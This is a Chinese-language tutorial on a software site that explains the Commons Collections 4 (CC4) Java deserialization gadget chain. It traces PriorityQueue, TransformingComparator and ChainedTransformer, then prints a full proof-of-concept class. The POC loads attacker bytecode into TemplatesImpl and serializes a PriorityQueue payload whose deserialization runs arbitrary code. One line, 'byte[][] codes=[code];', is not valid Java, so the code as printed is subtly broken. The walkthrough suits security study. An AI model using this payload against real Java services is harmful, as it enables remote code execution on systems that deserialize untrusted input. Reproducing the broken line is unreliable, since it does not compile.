当前位置:

首页 > 编程开发 > java安全之CommonsCollections4怎么应用

java安全之CommonsCollections4怎么应用

引子CC4简单来说就是CC3前半部分和CC2后半部分拼接组成的,对于其利用的限制条件与CC2一致,一样需要在commons-collections-4.0版本使用,原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。PriorityQueuePriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法在CC2中,此类用于调用PriorityQueu

本文目录

      引子

      CC4简单来说就是CC3前半部分和CC2后半部分拼接组成的,对于其利用的限制条件与CC2一致,一样需要在commons-collections-4.0版本使用,原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。

      PriorityQueue

      PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法 在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口

      PriorityQueue中的readObject间接调用了compare() 而compare()最终调用了transform()

      readobject()方法

      private void readObject(java.io.ObjectInputStream s)
          throws java.io.IOException, ClassNotFoundException {
          // Read in size, and any hidden stuff
          s.defaultReadObject();
          // Read in (and discard) array length
          s.readInt();
          queue = new Object[size];
          // Read in all elements.
          for (int i = 0; i < size; i++)
              queue[i] = s.readObject();
          // Elements are guaranteed to be in "proper order", but the
          // spec has never explained what that might be.
          heapify();
      }

      重写了该方法并在最后调用了heapify()方法,我们跟进一下:

      private void heapify() {
          for (int i = (size >>> 1) - 1; i >= 0; i--)
              siftDown(i, (E) queue[i]);
      }

      这里的话需要长度等于2才能进入for循环,我们要怎样改变长度呢。

      这里用到的是该类的add方法,将指定的元素插入此优先级队列。

      heapify()调用了siftdown()方法

      继续跟进:

      private void siftDown(int k, E x) {
          if (comparator != null)
              siftDownUsingComparator(k, x);
          else
              siftDownComparable(k, x);
      }

      可以看到判断条件

       if (comparator != null)

      调用了

      siftDownUsingComparator(k, x);

      在siftDownUsingComparator()又调用了 comparator.compare()。

      TransformingComparator

      可以看到该类在CC3的版本中不能反序列化,在CC4的版本中便可以了。

      TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。

      TransformingComparator里面存在compare方法,当我们调用时就会调用传入transformer对象的transform方法具体实现是this.transformer在传入ChainedTransformer后,会调用ChainedTransformer#transform反射链。

      问题

      1.就像刚才heapify里面所说的

      private void heapify() {
          for (int i = (size >>> 1) - 1; i >= 0; i--)
              siftDown(i, (E) queue[i]);
      }

      我们要进入循环要修改值,通过add方法。

      priorityQueue.add(1);
      priorityQueue.add(2);

      2.initialCapacity的值要大于1

      3.comparator != null

      4.通过反射来修改值防止在反序列化前调用,就如之前的链一样,我们到利用时再用反射修改参数。

      类似这个样子:

      Class c=transformingComparator.getClass();
              Field transformField=c.getDeclaredField("transformer");
              transformField.setAccessible(true);
              transformField.set(transformingComparator,chainedTransformer);

      我们先放置个反序列化前不会执行这条链的随便一个参数:

      TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));

      POC

      package ysoserial;
      import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
      import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
      import javassist.convert.TransformWriteField;
      import org.apache.commons.collections4.Transformer;
      import org.apache.commons.collections4.comparators.TransformingComparator;
      import org.apache.commons.collections4.functors.ChainedTransformer;
      import org.apache.commons.collections4.functors.ConstantTransformer;
      import org.apache.commons.collections4.functors.InstantiateTransformer;
      import org.apache.commons.collections4.functors.InvokerTransformer;
      import org.apache.commons.collections4.map.LazyMap;
      import org.apache.xalan.xsltc.trax.TrAXFilter;
      import javax.xml.crypto.dsig.Transform;
      import javax.xml.transform.Templates;
      import java.io.*;
      import java.lang.reflect.*;
      import java.nio.file.Files;
      import java.nio.file.Paths;
      import java.util.HashMap;
      import java.util.Map;
      import java.util.PriorityQueue;
      public class cc4 {
          public static void main(String[] args) throws Exception {
              TemplatesImpl templates=new TemplatesImpl();
              Class tc=templates.getClass();
              Field nameField=tc.getDeclaredField("_name");
              nameField.setAccessible(true);
              nameField.set(templates,"XINO");
              Field bytecodesField=tc.getDeclaredField("_bytecodes");
              bytecodesField.setAccessible(true);
              byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
              byte[][] codes=[code];
              bytecodesField.set(templates,codes);
              Field tfactoryField=tc.getDeclaredField("_tfactory");
              tfactoryField.setAccessible(true);
              tfactoryField.set(templates,new TransformerFactoryImpl());
              InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
              //
              Transformer[] transformers=new Transformer[]{
                  new ConstantTransformer(TrAXFilter.class),
                  instantiateTransformer
              };
              ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
              TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
              PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
              priorityQueue.add(1);
              priorityQueue.add(2);
              Class c=transformingComparator.getClass();
              Field transformField=c.getDeclaredField("transformer");
              transformField.setAccessible(true);
              transformField.set(transformingComparator,chainedTransformer);
              serialize(priorityQueue);
              unserialize("ser.bin");
          }
          public static void serialize(Object obj) throws Exception{
              ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
              oss.writeObject(obj);
          }
          public static void unserialize(Object obj) throws Exception{
              ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
              oss.readObject();
          }
      }
      本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系bd@zhengruan.com
      作者最新文章
      编程开发 Java
      相关文章 更多
      Java单元测试入门:使用JUnit 5编写第一个测试用例
      Java单元测试入门:使用JUnit 5编写第一个测试用例

      面向初学者的JUnit 5实用入门指南。从测试概念、Maven依赖配置,到手把手编写首个单元测试用例及断言验证,助你掌握Java单元测试的核心流程。

      Java变量未初始化报错解析:局部变量与成员变量默认值差异
      Java变量未初始化报错解析:局部变量与成员变量默认值差异

      深入解析Java中局部变量未初始化编译报错与成员变量自动赋予默认值的机制差异,涵盖JVM内存分配、编译期确定性赋值检查与实际排查修复方案。

      Java获取当前时间并格式化输出:DateTimeFormatter与SimpleDateFormat
      Java获取当前时间并格式化输出:DateTimeFormatter与SimpleDateFormat

      详细讲解在Java中获取当前系统时间并进行格式化输出的两种核心方案:基于Java 8全新日期时间API的DateTimeFormatter与传统遗留的SimpleDateFormat,包含完整代码示例、线程安全机制对比及生产选型建议。

      Java中final与static final常量的定义及初始化规则
      Java中final与static final常量的定义及初始化规则

      深入解析Java中final变量与static final常量的定义、内存语义、初始化时机及合法赋值路径,涵盖编译期常量优化与实战避坑指南。

      Java抽象方法与接口方法的区别及选型建议
      Java抽象方法与接口方法的区别及选型建议

      深入对比Java中抽象类抽象方法与接口方法的语法演进、设计意图及运行期差异,并提供清晰的架构选型决策流程与实战范例。

      Java实现HTTP请求与JSON解析的完整代码示例
      Java实现HTTP请求与JSON解析的完整代码示例

      本文提供Java标准库HttpClient发起HTTP GET/POST请求并结合Jackson进行JSON数据反序列化与序列化的完整代码示例与工程实践指南。

      Java递归出现StackOverflowError的原因分析及栈空间优化方案
      Java递归出现StackOverflowError的原因分析及栈空间优化方案

      详细分析Java递归调用出现StackOverflowError的原因,结合代码说明线程栈、栈帧和递归深度之间的关系,并介绍终止条件排查、迭代改写、减少栈帧开销以及通过-Xss调整JVM栈空间的方法。

      Java空指针异常(NPE)的代码排查与修复实例
      Java空指针异常(NPE)的代码排查与修复实例

      针对Java中常见的NullPointerException(NPE),本文从堆栈日志定位、典型代码触发场景、具体修复代码对比到防御体系进行系统讲解,提供实用且易上手的排查与修复方案。

      selenium上传文件教程本地文件路径设置方法
      selenium上传文件教程本地文件路径设置方法

      深入解析Selenium处理文件上传的技术细节,涵盖标准HTML控件的路径直接注入法与非标准控件的系统级模拟方案,提供Windows与Linux环境下的路径设置最佳实践及常见异常排查。

      大数据开发语言选型:Java对比Scala与Python的优缺点及适用场景
      大数据开发语言选型:Java对比Scala与Python的优缺点及适用场景

      针对大数据工程场景,系统对比Java、Scala与Python在执行性能、生态结合、开发效率和维护成本上的核心差异,给出清晰的架构选型依据与落地方案。

      查看更多
      精品专题 更多
      装机必备
      装机必备

      正软商城装机必备专区,精选办公、浏览器、安全防护、影音播放、压缩解压、设计创作和系统工具等电脑常用正版软件,帮助用户快速完成新电脑软件配置。

      Windows
      Windows

      正软商城Windows软件专区,汇集适用于Windows电脑的办公、设计、安全防护、影音播放、开发工具和系统优化软件,提供软件介绍、系统要求、正版授权及购买下载服务。

      PDF教程
      PDF教程

      正软商城PDF教程频道提供PDF编辑、转换、合并、拆分、压缩及格式处理方法,同时介绍常用PDF软件和工具的使用技巧。

      Mac软件 更多
      讯飞智作 网页版
      讯飞智作 网页版
      Windows/ macOS/ Linux

      讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

      火山引擎 网页版
      火山引擎 网页版
      Windows/ macOS/ Linux

      火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

      Aperty macOS版
      Aperty macOS版
      macOS

      Aperty 是 Skylum 推出的 AI 人像修图软件,支持自然肤质修饰、瑕疵处理、面部与身体调整、预设及批量同步。

      WINDOWS 更多
      讯飞智作 网页版
      讯飞智作 网页版
      Windows/ macOS/ Linux

      讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

      火山引擎 网页版
      火山引擎 网页版
      Windows/ macOS/ Linux

      火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

      PixTV 网页版
      PixTV 网页版
      Windows

      PixTV 是一款在浏览器中使用的 AI 视觉内容创作平台,提供图片、视频、音频、文字生成、AI 分镜、局部重绘、提示词反推和无限画布等工具,适合短剧、漫剧、广告及社交媒体内容制作。